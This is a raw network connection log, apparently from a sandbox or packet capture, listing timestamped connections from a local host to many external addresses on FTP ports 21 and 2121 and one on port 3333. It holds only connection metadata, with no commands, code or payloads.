Aug 23, 2023 09:14:37.958311081 CEST	49858	21	192.168.2.3	183.105.224.134
Aug 23, 2023 09:14:37.960769892 CEST	21	49915	202.78.174.245	192.168.2.3
Aug 23, 2023 09:14:37.989164114 CEST	2121	49917	202.78.174.245	192.168.2.3
Aug 23, 2023 09:14:37.995933056 CEST	2121	49916	185.40.19.90	192.168.2.3
Aug 23, 2023 09:14:38.023179054 CEST	49919	2121	192.168.2.3	184.24.120.156
Aug 23, 2023 09:14:38.053922892 CEST	49920	21	192.168.2.3	153.147.94.64
Aug 23, 2023 09:14:38.059782982 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:38.060036898 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:38.060918093 CEST	49921	2121	192.168.2.3	153.147.94.64
Aug 23, 2023 09:14:38.084357023 CEST	49876	21	192.168.2.3	121.129.147.220
Aug 23, 2023 09:14:38.084374905 CEST	49877	2121	192.168.2.3	121.129.147.220
Aug 23, 2023 09:14:38.215944052 CEST	21	49858	183.105.224.134	192.168.2.3
Aug 23, 2023 09:14:38.216984034 CEST	2121	49859	183.105.224.134	192.168.2.3
Aug 23, 2023 09:14:38.218931913 CEST	49922	2121	192.168.2.3	23.125.13.198
Aug 23, 2023 09:14:38.219136953 CEST	49923	21	192.168.2.3	23.125.13.198
Aug 23, 2023 09:14:38.272196054 CEST	49734	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:14:38.319226980 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:38.319375992 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:38.319540977 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:38.319622040 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:38.340367079 CEST	21	49876	121.129.147.220	192.168.2.3
Aug 23, 2023 09:14:38.341238022 CEST	49924	21	192.168.2.3	46.165.136.74
Aug 23, 2023 09:14:38.341607094 CEST	2121	49877	121.129.147.220	192.168.2.3
Aug 23, 2023 09:14:38.342379093 CEST	49925	2121	192.168.2.3	46.165.136.74
Aug 23, 2023 09:14:38.381282091 CEST	49891	2121	192.168.2.3	211.220.166.148
Aug 23, 2023 09:14:38.381442070 CEST	49890	21	192.168.2.3	211.220.166.148
Aug 23, 2023 09:14:38.382622004 CEST	49926	21	192.168.2.3	116.100.103.50
Aug 23, 2023 09:14:38.422822952 CEST	49927	2121	192.168.2.3	116.100.103.50
Aug 23, 2023 09:14:38.584395885 CEST	49916	2121	192.168.2.3	185.40.19.90
Aug 23, 2023 09:14:38.632909060 CEST	21	49890	211.220.166.148	192.168.2.3
Aug 23, 2023 09:14:38.632952929 CEST	2121	49891	211.220.166.148	192.168.2.3
Aug 23, 2023 09:14:38.638761997 CEST	49928	21	192.168.2.3	50.36.123.204
Aug 23, 2023 09:14:38.638828993 CEST	49929	2121	192.168.2.3	50.36.123.204
Aug 23, 2023 09:14:38.646596909 CEST	49917	2121	192.168.2.3	202.78.174.245
Aug 23, 2023 09:14:38.646672964 CEST	49915	21	192.168.2.3	202.78.174.245
Aug 23, 2023 09:14:38.666975975 CEST	2121	49916	185.40.19.90	192.168.2.3
Aug 23, 2023 09:14:38.693624973 CEST	2121	49917	202.78.174.245	192.168.2.3
Aug 23, 2023 09:14:38.693669081 CEST	21	49915	202.78.174.245	192.168.2.3
Aug 23, 2023 09:14:38.803848028 CEST	49930	21	192.168.2.3	69.206.186.135
Aug 23, 2023 09:14:38.804495096 CEST	49931	2121	192.168.2.3	69.206.186.135
Aug 23, 2023 09:14:39.099595070 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:39.099740028 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:39.256388903 CEST	49917	2121	192.168.2.3	202.78.174.245
Aug 23, 2023 09:14:39.256413937 CEST	49844	21	192.168.2.3	193.56.132.129
Aug 23, 2023 09:14:39.256498098 CEST	49850	21	192.168.2.3	219.71.29.150
Aug 23, 2023 09:14:39.256500006 CEST	49915	21	192.168.2.3	202.78.174.245
Aug 23, 2023 09:14:39.256504059 CEST	49845	2121	192.168.2.3	193.56.132.129
Aug 23, 2023 09:14:39.272017956 CEST	49891	2121	192.168.2.3	211.220.166.148
Aug 23, 2023 09:14:39.272034883 CEST	49848	21	192.168.2.3	122.168.160.34
Aug 23, 2023 09:14:39.272044897 CEST	49916	2121	192.168.2.3	185.40.19.90
Aug 23, 2023 09:14:39.272044897 CEST	49843	2121	192.168.2.3	186.108.0.46
Aug 23, 2023 09:14:39.272099972 CEST	49842	21	192.168.2.3	186.108.0.46
Aug 23, 2023 09:14:39.272108078 CEST	49849	2121	192.168.2.3	122.168.160.34
Aug 23, 2023 09:14:39.272108078 CEST	49890	21	192.168.2.3	211.220.166.148
Aug 23, 2023 09:14:39.303524971 CEST	21	49915	202.78.174.245	192.168.2.3
Aug 23, 2023 09:14:39.303575039 CEST	2121	49917	202.78.174.245	192.168.2.3
Aug 23, 2023 09:14:39.304600954 CEST	49932	21	192.168.2.3	121.153.118.98
Aug 23, 2023 09:14:39.304797888 CEST	49933	2121	192.168.2.3	121.153.118.98
Aug 23, 2023 09:14:39.304867029 CEST	49934	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:39.355607986 CEST	2121	49916	185.40.19.90	192.168.2.3
Aug 23, 2023 09:14:39.360447884 CEST	49857	2121	192.168.2.3	217.215.204.92
Aug 23, 2023 09:14:39.360455036 CEST	49851	2121	192.168.2.3	219.71.29.150
Aug 23, 2023 09:14:39.360505104 CEST	49856	21	192.168.2.3	217.215.204.92
Aug 23, 2023 09:14:39.371850967 CEST	49935	2121	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:39.371850967 CEST	49936	21	192.168.2.3	79.27.238.83
Aug 23, 2023 09:14:39.373312950 CEST	2121	49921	153.147.94.64	192.168.2.3
Aug 23, 2023 09:14:39.381364107 CEST	49860	21	192.168.2.3	188.155.120.62
Aug 23, 2023 09:14:39.381380081 CEST	49852	21	192.168.2.3	174.180.12.117
Aug 23, 2023 09:14:39.381388903 CEST	49853	2121	192.168.2.3	174.180.12.117
Aug 23, 2023 09:14:39.381392956 CEST	49861	2121	192.168.2.3	188.155.120.62
Aug 23, 2023 09:14:39.386001110 CEST	21	49920	153.147.94.64	192.168.2.3
Aug 23, 2023 09:14:39.480041027 CEST	21	49934	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:39.480185032 CEST	49934	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:39.524005890 CEST	21	49890	211.220.166.148	192.168.2.3
Aug 23, 2023 09:14:39.524039984 CEST	2121	49891	211.220.166.148	192.168.2.3
Aug 23, 2023 09:14:39.538937092 CEST	49937	2121	192.168.2.3	79.27.238.83
Aug 23, 2023 09:14:39.539062023 CEST	49938	21	192.168.2.3	189.172.28.68
Aug 23, 2023 09:14:39.553318977 CEST	49864	21	192.168.2.3	84.135.107.208
Aug 23, 2023 09:14:39.553324938 CEST	49879	2121	192.168.2.3	115.86.234.108
Aug 23, 2023 09:14:39.553786039 CEST	49878	21	192.168.2.3	115.86.234.108
Aug 23, 2023 09:14:39.553786993 CEST	49865	2121	192.168.2.3	84.135.107.208
Aug 23, 2023 09:14:39.560977936 CEST	2121	49933	121.153.118.98	192.168.2.3
Aug 23, 2023 09:14:39.561510086 CEST	21	49932	121.153.118.98	192.168.2.3
Aug 23, 2023 09:14:39.584541082 CEST	49866	21	192.168.2.3	187.202.250.43
Aug 23, 2023 09:14:39.584547043 CEST	49873	2121	192.168.2.3	67.164.74.141
Aug 23, 2023 09:14:39.584551096 CEST	49868	21	192.168.2.3	23.109.118.225
Aug 23, 2023 09:14:39.584597111 CEST	49869	2121	192.168.2.3	23.109.118.225
Aug 23, 2023 09:14:39.584600925 CEST	49880	21	192.168.2.3	24.76.88.64
Aug 23, 2023 09:14:39.584600925 CEST	49871	2121	192.168.2.3	87.214.192.191
Aug 23, 2023 09:14:39.584600925 CEST	49870	21	192.168.2.3	87.214.192.191
Aug 23, 2023 09:14:39.584600925 CEST	49863	2121	192.168.2.3	71.239.176.37
Aug 23, 2023 09:14:39.584600925 CEST	49882	21	192.168.2.3	173.175.82.53
Aug 23, 2023 09:14:39.584600925 CEST	49872	21	192.168.2.3	67.164.74.141
Aug 23, 2023 09:14:39.584600925 CEST	49887	2121	192.168.2.3	73.234.156.113
Aug 23, 2023 09:14:39.584609032 CEST	49867	2121	192.168.2.3	187.202.250.43
Aug 23, 2023 09:14:39.584600925 CEST	49881	2121	192.168.2.3	24.76.88.64
Aug 23, 2023 09:14:39.584650040 CEST	49883	2121	192.168.2.3	173.175.82.53
Aug 23, 2023 09:14:39.584650040 CEST	49886	21	192.168.2.3	73.234.156.113
Aug 23, 2023 09:14:39.584650040 CEST	49862	21	192.168.2.3	71.239.176.37
Aug 23, 2023 09:14:39.658813953 CEST	21	49934	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:39.661382914 CEST	49939	2121	192.168.2.3	189.172.28.68
Aug 23, 2023 09:14:39.661382914 CEST	49934	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:39.756400108 CEST	49889	2121	192.168.2.3	118.39.0.225
Aug 23, 2023 09:14:39.756408930 CEST	49888	21	192.168.2.3	118.39.0.225
Aug 23, 2023 09:14:39.837122917 CEST	21	49934	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:39.837174892 CEST	21	49934	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:39.837241888 CEST	49934	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:39.838545084 CEST	21	49934	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:39.838614941 CEST	49934	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:39.959523916 CEST	49921	2121	192.168.2.3	153.147.94.64
Aug 23, 2023 09:14:39.959539890 CEST	49920	21	192.168.2.3	153.147.94.64
Aug 23, 2023 09:14:40.084553003 CEST	49933	2121	192.168.2.3	121.153.118.98
Aug 23, 2023 09:14:40.084630966 CEST	49932	21	192.168.2.3	121.153.118.98
Aug 23, 2023 09:14:40.284301043 CEST	2121	49921	153.147.94.64	192.168.2.3
Aug 23, 2023 09:14:40.285424948 CEST	21	49920	153.147.94.64	192.168.2.3
Aug 23, 2023 09:14:40.340287924 CEST	2121	49933	121.153.118.98	192.168.2.3
Aug 23, 2023 09:14:40.341587067 CEST	21	49932	121.153.118.98	192.168.2.3
Aug 23, 2023 09:14:40.584575891 CEST	49896	21	192.168.2.3	217.110.154.156
Aug 23, 2023 09:14:40.584604979 CEST	49898	21	192.168.2.3	75.132.118.193
Aug 23, 2023 09:14:40.584605932 CEST	49901	21	192.168.2.3	95.235.37.164
Aug 23, 2023 09:14:40.584614038 CEST	49902	2121	192.168.2.3	95.235.37.164
Aug 23, 2023 09:14:40.584621906 CEST	49904	2121	192.168.2.3	24.198.84.21
Aug 23, 2023 09:14:40.584621906 CEST	49897	2121	192.168.2.3	217.110.154.156
Aug 23, 2023 09:14:40.584665060 CEST	49899	2121	192.168.2.3	75.132.118.193
Aug 23, 2023 09:14:40.584665060 CEST	49903	21	192.168.2.3	24.198.84.21
Aug 23, 2023 09:14:40.647075891 CEST	49900	2121	192.168.2.3	62.226.238.15
Aug 23, 2023 09:14:40.647083044 CEST	49895	2121	192.168.2.3	118.43.209.133
Aug 23, 2023 09:14:40.647093058 CEST	49893	2121	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:40.647105932 CEST	49905	21	192.168.2.3	62.226.238.15
Aug 23, 2023 09:14:40.647105932 CEST	49907	2121	192.168.2.3	75.173.48.186
Aug 23, 2023 09:14:40.647954941 CEST	49894	21	192.168.2.3	118.43.209.133
Aug 23, 2023 09:14:40.647954941 CEST	49906	21	192.168.2.3	75.173.48.186
Aug 23, 2023 09:14:40.659236908 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:40.659308910 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:40.756450891 CEST	49909	2121	192.168.2.3	201.24.231.171
Aug 23, 2023 09:14:40.756500959 CEST	49908	21	192.168.2.3	201.24.231.171
Aug 23, 2023 09:14:40.774636030 CEST	49911	2121	192.168.2.3	45.92.32.7
Aug 23, 2023 09:14:40.774687052 CEST	49910	21	192.168.2.3	45.92.32.7
Aug 23, 2023 09:14:40.881617069 CEST	49933	2121	192.168.2.3	121.153.118.98
Aug 23, 2023 09:14:40.881623983 CEST	49912	21	192.168.2.3	71.11.231.214
Aug 23, 2023 09:14:40.881623983 CEST	49932	21	192.168.2.3	121.153.118.98
Aug 23, 2023 09:14:40.881625891 CEST	49914	21	192.168.2.3	185.40.19.90
Aug 23, 2023 09:14:40.881627083 CEST	49913	2121	192.168.2.3	71.11.231.214
Aug 23, 2023 09:14:40.959640980 CEST	49920	21	192.168.2.3	153.147.94.64
Aug 23, 2023 09:14:40.959680080 CEST	49921	2121	192.168.2.3	153.147.94.64
Aug 23, 2023 09:14:41.084635019 CEST	49919	2121	192.168.2.3	184.24.120.156
Aug 23, 2023 09:14:41.084650040 CEST	49918	21	192.168.2.3	184.24.120.156
Aug 23, 2023 09:14:41.133156061 CEST	49940	21	192.168.2.3	220.84.54.114
Aug 23, 2023 09:14:41.137711048 CEST	2121	49933	121.153.118.98	192.168.2.3
Aug 23, 2023 09:14:41.139169931 CEST	49941	2121	192.168.2.3	220.84.54.114
Aug 23, 2023 09:14:41.139319897 CEST	21	49932	121.153.118.98	192.168.2.3
Aug 23, 2023 09:14:41.141084909 CEST	49942	21	192.168.2.3	181.94.138.14
Aug 23, 2023 09:14:41.150679111 CEST	49943	2121	192.168.2.3	181.94.138.14
Aug 23, 2023 09:14:41.214894056 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.226619005 CEST	49945	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:41.242070913 CEST	49946	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:41.243509054 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.243668079 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.256627083 CEST	49922	2121	192.168.2.3	23.125.13.198
Aug 23, 2023 09:14:41.256639957 CEST	49923	21	192.168.2.3	23.125.13.198
Aug 23, 2023 09:14:41.258315086 CEST	49947	21	192.168.2.3	58.136.234.150
Aug 23, 2023 09:14:41.258315086 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:41.284507036 CEST	2121	49921	153.147.94.64	192.168.2.3
Aug 23, 2023 09:14:41.285514116 CEST	21	49920	153.147.94.64	192.168.2.3
Aug 23, 2023 09:14:41.286597013 CEST	49949	2121	192.168.2.3	58.136.234.150
Aug 23, 2023 09:14:41.288222075 CEST	49950	21	192.168.2.3	198.52.133.33
Aug 23, 2023 09:14:41.288279057 CEST	49951	2121	192.168.2.3	198.52.133.33
Aug 23, 2023 09:14:41.325572014 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.328440905 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.335762024 CEST	49953	2121	192.168.2.3	209.52.94.174
Aug 23, 2023 09:14:41.335803032 CEST	49952	21	192.168.2.3	209.52.94.174
Aug 23, 2023 09:14:41.351352930 CEST	49954	21	192.168.2.3	157.131.75.98
Aug 23, 2023 09:14:41.351597071 CEST	49955	2121	192.168.2.3	157.131.75.98
Aug 23, 2023 09:14:41.356928110 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.356966972 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.357393026 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.381606102 CEST	49924	21	192.168.2.3	46.165.136.74
Aug 23, 2023 09:14:41.381623983 CEST	49925	2121	192.168.2.3	46.165.136.74
Aug 23, 2023 09:14:41.386698008 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.387708902 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.398629904 CEST	49956	21	192.168.2.3	83.49.48.105
Aug 23, 2023 09:14:41.399511099 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:41.399580002 CEST	49957	2121	192.168.2.3	83.49.48.105
Aug 23, 2023 09:14:41.399713993 CEST	49945	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:41.418375015 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.418668985 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.419365883 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.419630051 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.419806004 CEST	49944	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.431209087 CEST	21	49942	181.94.138.14	192.168.2.3
Aug 23, 2023 09:14:41.432621002 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:41.434636116 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:41.434680939 CEST	2121	49943	181.94.138.14	192.168.2.3
Aug 23, 2023 09:14:41.446691990 CEST	21	49944	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.447424889 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.447734118 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.464121103 CEST	49959	21	192.168.2.3	136.55.248.40
Aug 23, 2023 09:14:41.464191914 CEST	49960	2121	192.168.2.3	136.55.248.40
Aug 23, 2023 09:14:41.466769934 CEST	49961	2121	192.168.2.3	166.88.234.210
Aug 23, 2023 09:14:41.466865063 CEST	49962	21	192.168.2.3	187.223.234.237
Aug 23, 2023 09:14:41.466917992 CEST	49964	2121	192.168.2.3	187.223.234.237
Aug 23, 2023 09:14:41.466941118 CEST	49963	21	192.168.2.3	166.88.234.210
Aug 23, 2023 09:14:41.487646103 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:41.487859964 CEST	49946	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:41.491926908 CEST	49965	21	192.168.2.3	141.5.103.99
Aug 23, 2023 09:14:41.492547035 CEST	49966	2121	192.168.2.3	141.5.103.99
Aug 23, 2023 09:14:41.503175020 CEST	21	49952	209.52.94.174	192.168.2.3
Aug 23, 2023 09:14:41.505707026 CEST	2121	49953	209.52.94.174	192.168.2.3
Aug 23, 2023 09:14:41.507678032 CEST	49967	21	192.168.2.3	183.121.59.131
Aug 23, 2023 09:14:41.508511066 CEST	49969	21	192.168.2.3	184.27.193.37
Aug 23, 2023 09:14:41.508516073 CEST	49968	2121	192.168.2.3	183.121.59.131
Aug 23, 2023 09:14:41.509326935 CEST	49970	2121	192.168.2.3	184.27.193.37
Aug 23, 2023 09:14:41.512762070 CEST	21	49965	141.5.103.99	192.168.2.3
Aug 23, 2023 09:14:41.512800932 CEST	2121	49966	141.5.103.99	192.168.2.3
Aug 23, 2023 09:14:41.522990942 CEST	49971	21	192.168.2.3	2.177.168.250
Aug 23, 2023 09:14:41.526715040 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.527218103 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.539591074 CEST	49972	2121	192.168.2.3	2.177.168.250
Aug 23, 2023 09:14:41.539591074 CEST	49974	2121	192.168.2.3	174.177.47.92
Aug 23, 2023 09:14:41.539591074 CEST	49975	21	192.168.2.3	201.207.2.13
Aug 23, 2023 09:14:41.539639950 CEST	49973	21	192.168.2.3	174.177.47.92
Aug 23, 2023 09:14:41.554642916 CEST	49976	2121	192.168.2.3	201.207.2.13
Aug 23, 2023 09:14:41.555280924 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.555727005 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.556298018 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.556583881 CEST	49977	21	192.168.2.3	207.59.139.194
Aug 23, 2023 09:14:41.570270061 CEST	49978	2121	192.168.2.3	207.59.139.194
Aug 23, 2023 09:14:41.570270061 CEST	49979	21	192.168.2.3	102.66.170.177
Aug 23, 2023 09:14:41.574147940 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:41.574517965 CEST	49945	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:41.584666014 CEST	49927	2121	192.168.2.3	116.100.103.50
Aug 23, 2023 09:14:41.584666967 CEST	49926	21	192.168.2.3	116.100.103.50
Aug 23, 2023 09:14:41.587582111 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.587655067 CEST	49980	2121	192.168.2.3	102.66.170.177
Aug 23, 2023 09:14:41.590929985 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.612364054 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:41.613533020 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:41.623007059 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.623033047 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.627813101 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.642837048 CEST	49958	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.646894932 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.663604975 CEST	49982	21	192.168.2.3	76.58.185.37
Aug 23, 2023 09:14:41.671067953 CEST	21	49958	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.675600052 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.675841093 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.678436041 CEST	49928	21	192.168.2.3	50.36.123.204
Aug 23, 2023 09:14:41.678608894 CEST	49929	2121	192.168.2.3	50.36.123.204
Aug 23, 2023 09:14:41.734754086 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:41.735253096 CEST	49946	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:41.747173071 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:41.747246981 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:41.748178005 CEST	49945	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:41.755536079 CEST	21	49975	201.207.2.13	192.168.2.3
Aug 23, 2023 09:14:41.755597115 CEST	2121	49976	201.207.2.13	192.168.2.3
Aug 23, 2023 09:14:41.755651951 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.756021976 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.772033930 CEST	21	49967	183.121.59.131	192.168.2.3
Aug 23, 2023 09:14:41.773861885 CEST	2121	49968	183.121.59.131	192.168.2.3
Aug 23, 2023 09:14:41.784466028 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.784485102 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.785018921 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.788122892 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:41.788158894 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:41.788641930 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:41.816051006 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.816648006 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.819102049 CEST	49931	2121	192.168.2.3	69.206.186.135
Aug 23, 2023 09:14:41.819123030 CEST	49930	21	192.168.2.3	69.206.186.135
Aug 23, 2023 09:14:41.846780062 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.847156048 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.848439932 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.848825932 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.848917007 CEST	49981	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.877918959 CEST	21	49981	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.877960920 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.878153086 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.933500051 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:41.934191942 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:41.934258938 CEST	49945	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:41.944191933 CEST	49945	21	192.168.2.3	154.22.197.172
Aug 23, 2023 09:14:41.944783926 CEST	49984	2121	192.168.2.3	76.58.185.37
Aug 23, 2023 09:14:41.946011066 CEST	49942	21	192.168.2.3	181.94.138.14
Aug 23, 2023 09:14:41.946048021 CEST	49943	2121	192.168.2.3	181.94.138.14
Aug 23, 2023 09:14:41.950769901 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:41.951226950 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:41.980366945 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:41.981111050 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:41.981560946 CEST	49946	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:42.003534079 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:42.006655931 CEST	49952	21	192.168.2.3	209.52.94.174
Aug 23, 2023 09:14:42.006711960 CEST	49953	2121	192.168.2.3	209.52.94.174
Aug 23, 2023 09:14:42.022192955 CEST	49966	2121	192.168.2.3	141.5.103.99
Aug 23, 2023 09:14:42.022253036 CEST	49965	21	192.168.2.3	141.5.103.99
Aug 23, 2023 09:14:42.042691946 CEST	2121	49966	141.5.103.99	192.168.2.3
Aug 23, 2023 09:14:42.042748928 CEST	21	49965	141.5.103.99	192.168.2.3
Aug 23, 2023 09:14:42.116904020 CEST	21	49945	154.22.197.172	192.168.2.3
Aug 23, 2023 09:14:42.173177004 CEST	21	49952	209.52.94.174	192.168.2.3
Aug 23, 2023 09:14:42.177308083 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:42.177448034 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:42.178246021 CEST	2121	49953	209.52.94.174	192.168.2.3
Aug 23, 2023 09:14:42.194118023 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:42.228116035 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:42.228456974 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:42.228532076 CEST	21	49942	181.94.138.14	192.168.2.3
Aug 23, 2023 09:14:42.228543997 CEST	49946	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:42.239773989 CEST	49946	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:42.241035938 CEST	49985	21	192.168.2.3	96.33.87.95
Aug 23, 2023 09:14:42.241858959 CEST	2121	49943	181.94.138.14	192.168.2.3
Aug 23, 2023 09:14:42.256637096 CEST	49975	21	192.168.2.3	201.207.2.13
Aug 23, 2023 09:14:42.256957054 CEST	49976	2121	192.168.2.3	201.207.2.13
Aug 23, 2023 09:14:42.272296906 CEST	49967	21	192.168.2.3	183.121.59.131
Aug 23, 2023 09:14:42.287902117 CEST	49968	2121	192.168.2.3	183.121.59.131
Aug 23, 2023 09:14:42.381678104 CEST	49936	21	192.168.2.3	79.27.238.83
Aug 23, 2023 09:14:42.381678104 CEST	49935	2121	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:42.381901026 CEST	21	49985	96.33.87.95	192.168.2.3
Aug 23, 2023 09:14:42.406388998 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:42.406455040 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:42.452874899 CEST	2121	49976	201.207.2.13	192.168.2.3
Aug 23, 2023 09:14:42.461600065 CEST	21	49975	201.207.2.13	192.168.2.3
Aug 23, 2023 09:14:42.485949039 CEST	21	49946	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:42.506613016 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:42.534481049 CEST	21	49967	183.121.59.131	192.168.2.3
Aug 23, 2023 09:14:42.549700022 CEST	2121	49968	183.121.59.131	192.168.2.3
Aug 23, 2023 09:14:42.553509951 CEST	49965	21	192.168.2.3	141.5.103.99
Aug 23, 2023 09:14:42.553514004 CEST	49966	2121	192.168.2.3	141.5.103.99
Aug 23, 2023 09:14:42.553558111 CEST	49938	21	192.168.2.3	189.172.28.68
Aug 23, 2023 09:14:42.553580046 CEST	49937	2121	192.168.2.3	79.27.238.83
Aug 23, 2023 09:14:42.554723024 CEST	49986	2121	192.168.2.3	96.33.87.95
Aug 23, 2023 09:14:42.555588961 CEST	49987	21	192.168.2.3	52.157.223.8
